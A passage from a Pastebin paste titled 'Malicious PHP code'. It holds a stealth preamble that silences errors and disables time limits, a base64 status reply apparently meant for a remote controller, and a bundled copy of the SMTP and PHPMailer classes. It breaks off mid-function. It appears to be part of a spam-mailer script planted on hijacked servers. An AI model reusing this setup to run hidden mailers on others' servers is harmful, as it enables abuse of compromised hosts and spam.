arjun2504

Malicious PHP code

Dec 30th, 2015
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 85.49 KB | None | 0 0
  1. <?php
  2.  
  3. @ini_set('display_errors',0);
  4. @ini_set('log_errors',0);
  5. @error_reporting(0);
  6. @set_time_limit(0);
  7. @ignore_user_abort(1);
  8. @ini_set('max_execution_time',0);
  9.  
  10. if (version_compare(PHP_VERSION, '5.0.0', '<') ) {
  11. $res = Array();
  12. $res["result"]["check"] = 0;
  13. echo base64_encode(serialize($res));
  14. }
  15.  
  16. function custom_strip_tags($text)
  17. {
  18. $text = strip_tags($text, '<a>');
  19.  
  20. $text = str_replace("<a href=\"", "[ ", $text);
  21. $text = str_replace("</a>", "", $text);
  22. $text = str_replace("\">", " ] ", $text);
  23.  
  24. return $text;
  25. }
  26.  
  27. class SMTP {
  28. public $SMTP_PORT = 25;
  29. public $CRLF = "\r\n";
  30. public $do_debug = 0;
  31. public $Debugoutput = 'echo';
  32. public $do_verp = false;
  33. public $Timeout = 15;
  34. public $Timelimit = 30;
  35. public $Version = '5.2.6';
  36. protected $smtp_conn;
  37. protected $error;
  38. protected $helo_rply;
  39. protected function edebug($str) {
  40. switch ($this->Debugoutput) {
  41. case 'error_log':
  42. error_log($str);
  43. break;
  44. case 'html':
  45. echo htmlentities(preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, 'UTF-8')."<br>\n";
  46. break;
  47. case 'echo':
  48. default:
  49. echo $str;
  50. }
  51. }
  52. public function __construct() {
  53. $this->smtp_conn = 0;
  54. $this->error = null;
  55. $this->helo_rply = null;
  56.  
  57. $this->do_debug = 0;
  58. }
  59. public function Connect($host, $port = 0, $timeout = 30, $options = array()) {
  60. $this->error = null;
  61. if($this->connected()) {
  62. $this->error = array('error' => 'Already connected to a server');
  63. return false;
  64. }
  65.  
  66. if(empty($port)) {
  67. $port = $this->SMTP_PORT;
  68. }
  69.  
  70. $errno = 0;
  71. $errstr = '';
  72. $socket_context = stream_context_create($options);
  73. $this->smtp_conn = @stream_socket_client($host.":".$port, $errno, $errstr, $timeout, STREAM_CLIENT_CONNECT, $socket_context);
  74.  
  75. if(empty($this->smtp_conn)) {
  76. $this->error = array('error' => 'Failed to connect to server',
  77. 'errno' => $errno,
  78. 'errstr' => $errstr);
  79. if($this->do_debug >= 1) {
  80. $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ": $errstr ($errno)");
  81. }
  82. return false;
  83. }
  84.  
  85. if(substr(PHP_OS, 0, 3) != 'WIN') {
  86. $max = ini_get('max_execution_time');
  87. if ($max != 0 && $timeout > $max) { // Don't bother if unlimited
  88. @set_time_limit($timeout);
  89. }
  90. stream_set_timeout($this->smtp_conn, $timeout, 0);
  91. }
  92.  
  93. $announce = $this->get_lines();
  94.  
  95. if($this->do_debug >= 2) {
  96. $this->edebug('SMTP -> FROM SERVER:' . $announce);
  97. }
  98.  
  99. return true;
  100. }
  101.  
  102. public function StartTLS() {
  103. $this->error = null; # to avoid confusion
  104.  
  105. if(!$this->connected()) {
  106. $this->error = array('error' => 'Called StartTLS() without being connected');
  107. return false;
  108. }
  109.  
  110. $this->client_send('STARTTLS' . $this->CRLF);
  111.  
  112. $rply = $this->get_lines();
  113. $code = substr($rply, 0, 3);
  114.  
  115. if($this->do_debug >= 2) {
  116. $this->edebug('SMTP -> FROM SERVER:' . $rply);
  117. }
  118.  
  119. if($code != 220) {
  120. $this->error =
  121. array('error' => 'STARTTLS not accepted from server',
  122. 'smtp_code' => $code,
  123. 'smtp_msg' => substr($rply, 4));
  124. if($this->do_debug >= 1) {
  125. $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
  126. }
  127. return false;
  128. }
  129.  
  130. if(!stream_socket_enable_crypto($this->smtp_conn, true, STREAM_CRYPTO_METHOD_TLS_CLIENT)) {
  131. return false;
  132. }
  133.  
  134. return true;
  135. }
  136.  
  137. public function Authenticate($username, $password, $authtype='LOGIN', $realm='', $workstation='') {
  138. if (empty($authtype)) {
  139. $authtype = 'LOGIN';
  140. }
  141.  
  142. switch ($authtype) {
  143. case 'PLAIN':
  144. $this->client_send('AUTH PLAIN' . $this->CRLF);
  145.  
  146. $rply = $this->get_lines();
  147. $code = substr($rply, 0, 3);
  148.  
  149. if($code != 334) {
  150. $this->error =
  151. array('error' => 'AUTH not accepted from server',
  152. 'smtp_code' => $code,
  153. 'smtp_msg' => substr($rply, 4));
  154. if($this->do_debug >= 1) {
  155. $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
  156. }
  157. return false;
  158. }
  159. $this->client_send(base64_encode("\0".$username."\0".$password) . $this->CRLF);
  160.  
  161. $rply = $this->get_lines();
  162. $code = substr($rply, 0, 3);
  163.  
  164. if($code != 235) {
  165. $this->error =
  166. array('error' => 'Authentication not accepted from server',
  167. 'smtp_code' => $code,
  168. 'smtp_msg' => substr($rply, 4));
  169. if($this->do_debug >= 1) {
  170. $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
  171. }
  172. return false;
  173. }
  174. break;
  175. case 'LOGIN':
  176. $this->client_send('AUTH LOGIN' . $this->CRLF);
  177.  
  178. $rply = $this->get_lines();
  179. $code = substr($rply, 0, 3);
  180.  
  181. if($code != 334) {
  182. $this->error =
  183. array('error' => 'AUTH not accepted from server',
  184. 'smtp_code' => $code,
  185. 'smtp_msg' => substr($rply, 4));
  186. if($this->do_debug >= 1) {
  187. $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
  188. }
  189. return false;
  190. }
  191.  
  192. $this->client_send(base64_encode($username) . $this->CRLF);
  193.  
  194. $rply = $this->get_lines();
  195. $code = substr($rply, 0, 3);
  196.  
  197. if($code != 334) {
  198. $this->error =
  199. array('error' => 'Username not accepted from server',
  200. 'smtp_code' => $code,
  201. 'smtp_msg' => substr($rply, 4));
  202. if($this->do_debug >= 1) {
  203. $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
  204. }
  205. return false;
  206. }
  207.  
  208. $this->client_send(base64_encode($password) . $this->CRLF);
  209.  
  210. $rply = $this->get_lines();
  211. $code = substr($rply, 0, 3);
  212.  
  213. if($code != 235) {
  214. $this->error =
  215. array('error' => 'Password not accepted from server',
  216. 'smtp_code' => $code,
  217. 'smtp_msg' => substr($rply, 4));
  218. if($this->do_debug >= 1) {
  219. $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
  220. }
  221. return false;
  222. }
  223. break;
  224. case 'NTLM':
  225. require_once 'extras/ntlm_sasl_client.php';
  226. $temp = new stdClass();
  227. $ntlm_client = new ntlm_sasl_client_class;
  228. if(! $ntlm_client->Initialize($temp)){//let's test if every function its available
  229. $this->error = array('error' => $temp->error);
  230. if($this->do_debug >= 1) {
  231. $this->edebug('You need to enable some modules in your php.ini file: ' . $this->error['error']);
  232. }
  233. return false;
  234. }
  235. $msg1 = $ntlm_client->TypeMsg1($realm, $workstation);//msg1
  236.  
  237. $this->client_send('AUTH NTLM ' . base64_encode($msg1) . $this->CRLF);
  238.  
  239. $rply = $this->get_lines();
  240. $code = substr($rply, 0, 3);
  241.  
  242. if($code != 334) {
  243. $this->error =
  244. array('error' => 'AUTH not accepted from server',
  245. 'smtp_code' => $code,
  246. 'smtp_msg' => substr($rply, 4));
  247. if($this->do_debug >= 1) {
  248. $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
  249. }
  250. return false;
  251. }
  252.  
  253. $challenge = substr($rply, 3);//though 0 based, there is a white space after the 3 digit number....//msg2
  254. $challenge = base64_decode($challenge);
  255. $ntlm_res = $ntlm_client->NTLMResponse(substr($challenge, 24, 8), $password);
  256. $msg3 = $ntlm_client->TypeMsg3($ntlm_res, $username, $realm, $workstation);//msg3
  257. $this->client_send(base64_encode($msg3) . $this->CRLF);
  258.  
  259. $rply = $this->get_lines();
  260. $code = substr($rply, 0, 3);
  261.  
  262. if($code != 235) {
  263. $this->error =
  264. array('error' => 'Could not authenticate',
  265. 'smtp_code' => $code,
  266. 'smtp_msg' => substr($rply, 4));
  267. if($this->do_debug >= 1) {
  268. $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
  269. }
  270. return false;
  271. }
  272. break;
  273. case 'CRAM-MD5':
  274. $this->client_send('AUTH CRAM-MD5' . $this->CRLF);
  275.  
  276. $rply = $this->get_lines();
  277. $code = substr($rply, 0, 3);
  278.  
  279. if($code != 334) {
  280. $this->error =
  281. array('error' => 'AUTH not accepted from server',
  282. 'smtp_code' => $code,
  283. 'smtp_msg' => substr($rply, 4));
  284. if($this->do_debug >= 1) {
  285. $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
  286. }
  287. return false;
  288. }
  289. $challenge = base64_decode(substr($rply, 4));
  290. $response = $username . ' ' . $this->hmac($challenge, $password);
  291. $this->client_send(base64_encode($response) . $this->CRLF);
  292. $rply = $this->get_lines();
  293. $code = substr($rply, 0, 3);
  294.  
  295. if($code != 235) {
  296. $this->error =
  297. array('error' => 'Credentials not accepted from server',
  298. 'smtp_code' => $code,
  299. 'smtp_msg' => substr($rply, 4));
  300. if($this->do_debug >= 1) {
  301. $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
  302. }
  303. return false;
  304. }
  305. break;
  306. }
  307. return true;
  308. }
  309.  
  310. protected function hmac($data, $key) {
  311. if (function_exists('hash_hmac')) {
  312. return hash_hmac('md5', $data, $key);
  313. }
  314. $b = 64; // byte length for md5
  315. if (strlen($key) > $b) {
  316. $key = pack('H*', md5($key));
  317. }
  318. $key = str_pad($key, $b, chr(0x00));
  319. $ipad = str_pad('', $b, chr(0x36));
  320. $opad = str_pad('', $b, chr(0x5c));
  321. $k_ipad = $key ^ $ipad ;
  322. $k_opad = $key ^ $opad;
  323.  
  324. return md5($k_opad . pack('H*', md5($k_ipad . $data)));
  325. }
  326.  
  327. public function Connected() {
  328. if(!empty($this->smtp_conn)) {
  329. $sock_status = stream_get_meta_data($this->smtp_conn);
  330. if($sock_status['eof']) {
  331. if($this->do_debug >= 1) {
  332. $this->edebug('SMTP -> NOTICE: EOF caught while checking if connected');
  333. }
  334. $this->Close();
  335. return false;
  336. }
  337. return true; // everything looks good
  338. }
  339. return false;
  340. }
  341.  
  342. public function Close() {
  343. $this->error = null; // so there is no confusion
  344. $this->helo_rply = null;
  345. if(!empty($this->smtp_conn)) {
  346. // close the connection and cleanup
  347. fclose($this->smtp_conn);
  348. $this->smtp_conn = 0;
  349. }
  350. }
  351.  
  352. public function Data($msg_data) {
  353. $this->error = null; // so no confusion is caused
  354.  
  355. if(!$this->connected()) {
  356. $this->error = array(
  357. 'error' => 'Called Data() without being connected');
  358. return false;
  359. }
  360. $this->client_send('DATA' . $this->CRLF);
  361. $rply = $this->get_lines();
  362. $code = substr($rply, 0, 3);
  363.  
  364. if($this->do_debug >= 2) {
  365. $this->edebug('SMTP -> FROM SERVER:' . $rply);
  366. }
  367.  
  368. if($code != 354) {
  369. $this->error =
  370. array('error' => 'DATA command not accepted from server',
  371. 'smtp_code' => $code,
  372. 'smtp_msg' => substr($rply, 4));
  373. if($this->do_debug >= 1) {
  374. $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
  375. }
  376. return false;
  377. }
  378.  
  379. $msg_data = str_replace("\r\n", "\n", $msg_data);
  380. $msg_data = str_replace("\r", "\n", $msg_data);
  381. $lines = explode("\n", $msg_data);
  382. $field = substr($lines[0], 0, strpos($lines[0], ':'));
  383. $in_headers = false;
  384. if(!empty($field) && !strstr($field, ' ')) {
  385. $in_headers = true;
  386. }
  387.  
  388. $max_line_length = 998; // used below; set here for ease in change
  389.  
  390. while(list(, $line) = @each($lines)) {
  391. $lines_out = null;
  392. if($line == '' && $in_headers) {
  393. $in_headers = false;
  394. }
  395. while(strlen($line) > $max_line_length) {
  396. $pos = strrpos(substr($line, 0, $max_line_length), ' ');
  397.  
  398. if(!$pos) {
  399. $pos = $max_line_length - 1;
  400. $lines_out[] = substr($line, 0, $pos);
  401. $line = substr($line, $pos);
  402. } else {
  403. $lines_out[] = substr($line, 0, $pos);
  404. $line = substr($line, $pos + 1);
  405. }
  406.  
  407. if($in_headers) {
  408. $line = "\t" . $line;
  409. }
  410. }
  411. $lines_out[] = $line;
  412.  
  413. while(list(, $line_out) = @each($lines_out)) {
  414. if(strlen($line_out) > 0)
  415. {
  416. if(substr($line_out, 0, 1) == '.') {
  417. $line_out = '.' . $line_out;
  418. }
  419. }
  420. $this->client_send($line_out . $this->CRLF);
  421. }
  422. }
  423.  
  424. $this->client_send($this->CRLF . '.' . $this->CRLF);
  425.  
  426. $rply = $this->get_lines();
  427. $code = substr($rply, 0, 3);
  428.  
  429. if($this->do_debug >= 2) {
  430. $this->edebug('SMTP -> FROM SERVER:' . $rply);
  431. }
  432.  
  433. if($code != 250) {
  434. $this->error =
  435. array('error' => 'DATA not accepted from server',
  436. 'smtp_code' => $code,
  437. 'smtp_msg' => substr($rply, 4));
  438. if($this->do_debug >= 1) {
  439. $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
  440. }
  441. return false;
  442. }
  443. return true;
  444. }
  445.  
  446. public function Hello($host = '') {
  447. $this->error = null; // so no confusion is caused
  448.  
  449. if(!$this->connected()) {
  450. $this->error = array(
  451. 'error' => 'Called Hello() without being connected');
  452. return false;
  453. }
  454. if(empty($host)) {
  455. $host = 'localhost';
  456. }
  457. if(!$this->SendHello('EHLO', $host)) {
  458. if(!$this->SendHello('HELO', $host)) {
  459. return false;
  460. }
  461. }
  462.  
  463. return true;
  464. }
  465.  
  466. protected function SendHello($hello, $host) {
  467. $this->client_send($hello . ' ' . $host . $this->CRLF);
  468.  
  469. $rply = $this->get_lines();
  470. $code = substr($rply, 0, 3);
  471.  
  472. if($this->do_debug >= 2) {
  473. $this->edebug('SMTP -> FROM SERVER: ' . $rply);
  474. }
  475.  
  476. if($code != 250) {
  477. $this->error =
  478. array('error' => $hello . ' not accepted from server',
  479. 'smtp_code' => $code,
  480. 'smtp_msg' => substr($rply, 4));
  481. if($this->do_debug >= 1) {
  482. $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
  483. }
  484. return false;
  485. }
  486.  
  487. $this->helo_rply = $rply;
  488.  
  489. return true;
  490. }
  491.  
  492. public function Mail($from) {
  493. $this->error = null; // so no confusion is caused
  494.  
  495. if(!$this->connected()) {
  496. $this->error = array(
  497. 'error' => 'Called Mail() without being connected');
  498. return false;
  499. }
  500.  
  501. $useVerp = ($this->do_verp ? ' XVERP' : '');
  502. $this->client_send('MAIL FROM:<' . $from . '>' . $useVerp . $this->CRLF);
  503.  
  504. $rply = $this->get_lines();
  505. $code = substr($rply, 0, 3);
  506.  
  507. if($this->do_debug >= 2) {
  508. $this->edebug('SMTP -> FROM SERVER:' . $rply);
  509. }
  510.  
  511. if($code != 250) {
  512. $this->error =
  513. array('error' => 'MAIL not accepted from server',
  514. 'smtp_code' => $code,
  515. 'smtp_msg' => substr($rply, 4));
  516. if($this->do_debug >= 1) {
  517. $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
  518. }
  519. return false;
  520. }
  521. return true;
  522. }
  523.  
  524. public function Quit($close_on_error = true) {
  525. $this->error = null; // so there is no confusion
  526.  
  527. if(!$this->connected()) {
  528. $this->error = array(
  529. 'error' => 'Called Quit() without being connected');
  530. return false;
  531. }
  532.  
  533. $this->client_send('quit' . $this->CRLF);
  534. $byemsg = $this->get_lines();
  535.  
  536. if($this->do_debug >= 2) {
  537. $this->edebug('SMTP -> FROM SERVER:' . $byemsg);
  538. }
  539.  
  540. $rval = true;
  541. $e = null;
  542.  
  543. $code = substr($byemsg, 0, 3);
  544. if($code != 221) {
  545. $e = array('error' => 'SMTP server rejected quit command',
  546. 'smtp_code' => $code,
  547. 'smtp_rply' => substr($byemsg, 4));
  548. $rval = false;
  549. if($this->do_debug >= 1) {
  550. $this->edebug('SMTP -> ERROR: ' . $e['error'] . ': ' . $byemsg);
  551. }
  552. }
  553.  
  554. if(empty($e) || $close_on_error) {
  555. $this->Close();
  556. }
  557.  
  558. return $rval;
  559. }
  560.  
  561. public function Recipient($to) {
  562. $this->error = null; // so no confusion is caused
  563.  
  564. if(!$this->connected()) {
  565. $this->error = array(
  566. 'error' => 'Called Recipient() without being connected');
  567. return false;
  568. }
  569.  
  570. $this->client_send('RCPT TO:<' . $to . '>' . $this->CRLF);
  571.  
  572. $rply = $this->get_lines();
  573. $code = substr($rply, 0, 3);
  574.  
  575. if($this->do_debug >= 2) {
  576. $this->edebug('SMTP -> FROM SERVER:' . $rply);
  577. }
  578.  
  579. if($code != 250 && $code != 251) {
  580. $this->error =
  581. array('error' => 'RCPT not accepted from server',
  582. 'smtp_code' => $code,
  583. 'smtp_msg' => substr($rply, 4));
  584. if($this->do_debug >= 1) {
  585. $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
  586. }
  587. return false;
  588. }
  589. return true;
  590. }
  591.  
  592. public function Reset() {
  593. $this->error = null; // so no confusion is caused
  594.  
  595. if(!$this->connected()) {
  596. $this->error = array('error' => 'Called Reset() without being connected');
  597. return false;
  598. }
  599.  
  600. $this->client_send('RSET' . $this->CRLF);
  601.  
  602. $rply = $this->get_lines();
  603. $code = substr($rply, 0, 3);
  604.  
  605. if($this->do_debug >= 2) {
  606. $this->edebug('SMTP -> FROM SERVER:' . $rply);
  607. }
  608.  
  609. if($code != 250) {
  610. $this->error =
  611. array('error' => 'RSET failed',
  612. 'smtp_code' => $code,
  613. 'smtp_msg' => substr($rply, 4));
  614. if($this->do_debug >= 1) {
  615. $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
  616. }
  617. return false;
  618. }
  619.  
  620. return true;
  621. }
  622.  
  623. public function SendAndMail($from) {
  624. $this->error = null; // so no confusion is caused
  625.  
  626. if(!$this->connected()) {
  627. $this->error = array(
  628. 'error' => 'Called SendAndMail() without being connected');
  629. return false;
  630. }
  631.  
  632. $this->client_send('SAML FROM:' . $from . $this->CRLF);
  633.  
  634. $rply = $this->get_lines();
  635. $code = substr($rply, 0, 3);
  636.  
  637. if($this->do_debug >= 2) {
  638. $this->edebug('SMTP -> FROM SERVER:' . $rply);
  639. }
  640.  
  641. if($code != 250) {
  642. $this->error =
  643. array('error' => 'SAML not accepted from server',
  644. 'smtp_code' => $code,
  645. 'smtp_msg' => substr($rply, 4));
  646. if($this->do_debug >= 1) {
  647. $this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
  648. }
  649. return false;
  650. }
  651. return true;
  652. }
  653.  
  654. public function Turn() {
  655. $this->error = array('error' => 'This method, TURN, of the SMTP '.
  656. 'is not implemented');
  657. if($this->do_debug >= 1) {
  658. $this->edebug('SMTP -> NOTICE: ' . $this->error['error']);
  659. }
  660. return false;
  661. }
  662.  
  663. public function client_send($data) {
  664. if ($this->do_debug >= 1) {
  665. $this->edebug("CLIENT -> SMTP: $data");
  666. }
  667. return fwrite($this->smtp_conn, $data);
  668. }
  669.  
  670. public function getError() {
  671. return $this->error;
  672. }
  673.  
  674. protected function get_lines() {
  675. $data = '';
  676. $endtime = 0;
  677. if (!is_resource($this->smtp_conn)) {
  678. return $data;
  679. }
  680. stream_set_timeout($this->smtp_conn, $this->Timeout);
  681. if ($this->Timelimit > 0) {
  682. $endtime = time() + $this->Timelimit;
  683. }
  684. while(is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
  685. $str = @fgets($this->smtp_conn, 515);
  686. if($this->do_debug >= 4) {
  687. $this->edebug("SMTP -> get_lines(): \$data was \"$data\"");
  688. $this->edebug("SMTP -> get_lines(): \$str is \"$str\"");
  689. }
  690. $data .= $str;
  691. if($this->do_debug >= 4) {
  692. $this->edebug("SMTP -> get_lines(): \$data is \"$data\"");
  693. }
  694. if(substr($str, 3, 1) == ' ') { break; }
  695. $info = stream_get_meta_data($this->smtp_conn);
  696. if ($info['timed_out']) {
  697. if($this->do_debug >= 4) {
  698. $this->edebug('SMTP -> get_lines(): timed-out (' . $this->Timeout . ' seconds)');
  699. }
  700. break;
  701. }
  702. // Now check if reads took too long
  703. if ($endtime) {
  704. if (time() > $endtime) {
  705. if($this->do_debug >= 4) {
  706. $this->edebug('SMTP -> get_lines(): timelimit reached (' . $this->Timelimit . ' seconds)');
  707. }
  708. break;
  709. }
  710. }
  711. }
  712. return $data;
  713. }
  714.  
  715. }
  716.  
  717.  
  718. class PHPMailer {
  719. public $Priority = 3;
  720. public $CharSet = 'iso-8859-1';
  721. public $ContentType = 'text/plain';
  722. public $Encoding = '8bit';
  723. public $ErrorInfo = '';
  724. public $From = 'root@localhost';
  725. public $FromName = 'Root User';
  726. public $Sender = '';
  727. public $ReturnPath = '';
  728. public $Subject = '';
  729. public $Body = '';
  730. public $AltBody = '';
  731. public $Ical = '';
  732. protected $MIMEBody = '';
  733. protected $MIMEHeader = '';
  734. protected $mailHeader = '';
  735. public $WordWrap = 0;
  736. public $Mailer = 'mail';
  737. public $Sendmail = '/usr/sbin/sendmail';
  738. public $UseSendmailOptions = true;
  739. public $PluginDir = '';
  740. public $ConfirmReadingTo = '';
  741. public $Hostname = '';
  742. public $MessageID = '';
  743. public $MessageDate = '';
  744.  
  745. public $Host = 'localhost';
  746. public $Port = 25;
  747. public $Helo = '';
  748. public $SMTPSecure = '';
  749. public $SMTPAuth = false;
  750. public $Username = '';
  751. public $Password = '';
  752. public $AuthType = '';
  753. public $Realm = '';
  754. public $Workstation = '';
  755. public $Timeout = 10;
  756. public $SMTPDebug = false;
  757. public $Debugoutput = "echo";
  758. public $SMTPKeepAlive = false;
  759. public $SingleTo = false;
  760. public $do_verp = false;
  761. public $SingleToArray = array();
  762. public $AllowEmpty = false;
  763. public $LE = "\n";
  764. public $DKIM_selector = '';
  765. public $DKIM_identity = '';
  766. public $DKIM_passphrase = '';
  767. public $DKIM_domain = '';
  768. public $DKIM_private = '';
  769. public $action_function = ''; //'callbackAction';
  770. public $Version = '5.2.6';
  771. public $XMailer = '';
  772.  
  773. protected $smtp = null;
  774. protected $to = array();
  775. protected $cc = array();
  776. protected $bcc = array();
  777. protected $ReplyTo = array();
  778. protected $all_recipients = array();
  779. protected $attachment = array();
  780. protected $CustomHeader = array();
  781. protected $message_type = '';
  782. protected $boundary = array();
  783. protected $language = array();
  784. protected $error_count = 0;
  785. protected $sign_cert_file = '';
  786. protected $sign_key_file = '';
  787. protected $sign_key_pass = '';
  788. protected $exceptions = false;
  789.  
  790. const STOP_MESSAGE = 0; // message only, continue processing
  791. const STOP_CONTINUE = 1; // message?, likely ok to continue processing
  792. const STOP_CRITICAL = 2; // message, plus full stop, critical error reached
  793. const CRLF = "\r\n"; // SMTP RFC specified EOL
  794.  
  795. private function mail_passthru($to, $subject, $body, $header, $params) {
  796. if ( ini_get('safe_mode') || !($this->UseSendmailOptions) ) {
  797. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($subject)), $body, $header);
  798. } else {
  799. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($subject)), $body, $header, $params);
  800. }
  801. return $rt;
  802. }
  803.  
  804. protected function edebug($str) {
  805. switch ($this->Debugoutput) {
  806. case 'error_log':
  807. error_log($str);
  808. break;
  809. case 'html':
  810. //Cleans up output a bit for a better looking display that's HTML-safe
  811. echo htmlentities(preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, $this->CharSet)."<br>\n";
  812. break;
  813. case 'echo':
  814. default:
  815. //Just echoes exactly what was received
  816. echo $str;
  817. }
  818. }
  819.  
  820. public function __construct($exceptions = false) {
  821. $this->exceptions = ($exceptions == true);
  822. }
  823.  
  824. public function __destruct() {
  825. if ($this->Mailer == 'smtp') { //Close any open SMTP connection nicely
  826. $this->SmtpClose();
  827. }
  828. }
  829.  
  830. public function IsHTML($ishtml = true) {
  831. if ($ishtml) {
  832. $this->ContentType = 'text/html';
  833. } else {
  834. $this->ContentType = 'text/plain';
  835. }
  836. }
  837.  
  838. public function IsSMTP() {
  839. $this->Mailer = 'smtp';
  840. }
  841.  
  842. public function IsMail() {
  843. $this->Mailer = 'mail';
  844. }
  845.  
  846. public function IsSendmail() {
  847. if (!stristr(ini_get('sendmail_path'), 'sendmail')) {
  848. $this->Sendmail = '/var/qmail/bin/sendmail';
  849. }
  850. $this->Mailer = 'sendmail';
  851. }
  852.  
  853. public function IsQmail() {
  854. if (stristr(ini_get('sendmail_path'), 'qmail')) {
  855. $this->Sendmail = '/var/qmail/bin/sendmail';
  856. }
  857. $this->Mailer = 'sendmail';
  858. }
  859.  
  860. public function AddAddress($address, $name = '') {
  861. return $this->AddAnAddress('to', $address, $name);
  862. }
  863.  
  864. public function AddCC($address, $name = '') {
  865. return $this->AddAnAddress('cc', $address, $name);
  866. }
  867.  
  868. public function AddBCC($address, $name = '') {
  869. return $this->AddAnAddress('bcc', $address, $name);
  870. }
  871.  
  872. public function AddReplyTo($address, $name = '') {
  873. return $this->AddAnAddress('Reply-To', $address, $name);
  874. }
  875.  
  876. protected function AddAnAddress($kind, $address, $name = '') {
  877. if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
  878. $this->SetError($this->Lang('Invalid recipient array').': '.$kind);
  879. if ($this->exceptions) {
  880. throw new phpmailerException('Invalid recipient array: ' . $kind);
  881. }
  882. if ($this->SMTPDebug) {
  883. $this->edebug($this->Lang('Invalid recipient array').': '.$kind);
  884. }
  885. return false;
  886. }
  887. $address = trim($address);
  888. $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  889. if (!$this->ValidateAddress($address)) {
  890. $this->SetError($this->Lang('invalid_address').': '. $address);
  891. if ($this->exceptions) {
  892. throw new phpmailerException($this->Lang('invalid_address').': '.$address);
  893. }
  894. if ($this->SMTPDebug) {
  895. $this->edebug($this->Lang('invalid_address').': '.$address);
  896. }
  897. return false;
  898. }
  899. if ($kind != 'Reply-To') {
  900. if (!isset($this->all_recipients[strtolower($address)])) {
  901. array_push($this->$kind, array($address, $name));
  902. $this->all_recipients[strtolower($address)] = true;
  903. return true;
  904. }
  905. } else {
  906. if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
  907. $this->ReplyTo[strtolower($address)] = array($address, $name);
  908. return true;
  909. }
  910. }
  911. return false;
  912. }
  913.  
  914. public function SetFrom($address, $name = '', $auto = true) {
  915. $address = trim($address);
  916. $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  917. if (!$this->ValidateAddress($address)) {
  918. $this->SetError($this->Lang('invalid_address').': '. $address);
  919. if ($this->exceptions) {
  920. throw new phpmailerException($this->Lang('invalid_address').': '.$address);
  921. }
  922. if ($this->SMTPDebug) {
  923. $this->edebug($this->Lang('invalid_address').': '.$address);
  924. }
  925. return false;
  926. }
  927. $this->From = $address;
  928. $this->FromName = $name;
  929. if ($auto) {
  930. if (empty($this->Sender)) {
  931. $this->Sender = $address;
  932. }
  933. }
  934. return true;
  935. }
  936.  
  937. public static function ValidateAddress($address) {
  938. if (defined('PCRE_VERSION')) { //Check this instead of extension_loaded so it works when that function is disabled
  939. if (version_compare(PCRE_VERSION, '8.0') >= 0) {
  940. return (boolean)preg_match('/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address);
  941. } else {
  942. //Fall back to an older regex that doesn't need a recent PCRE
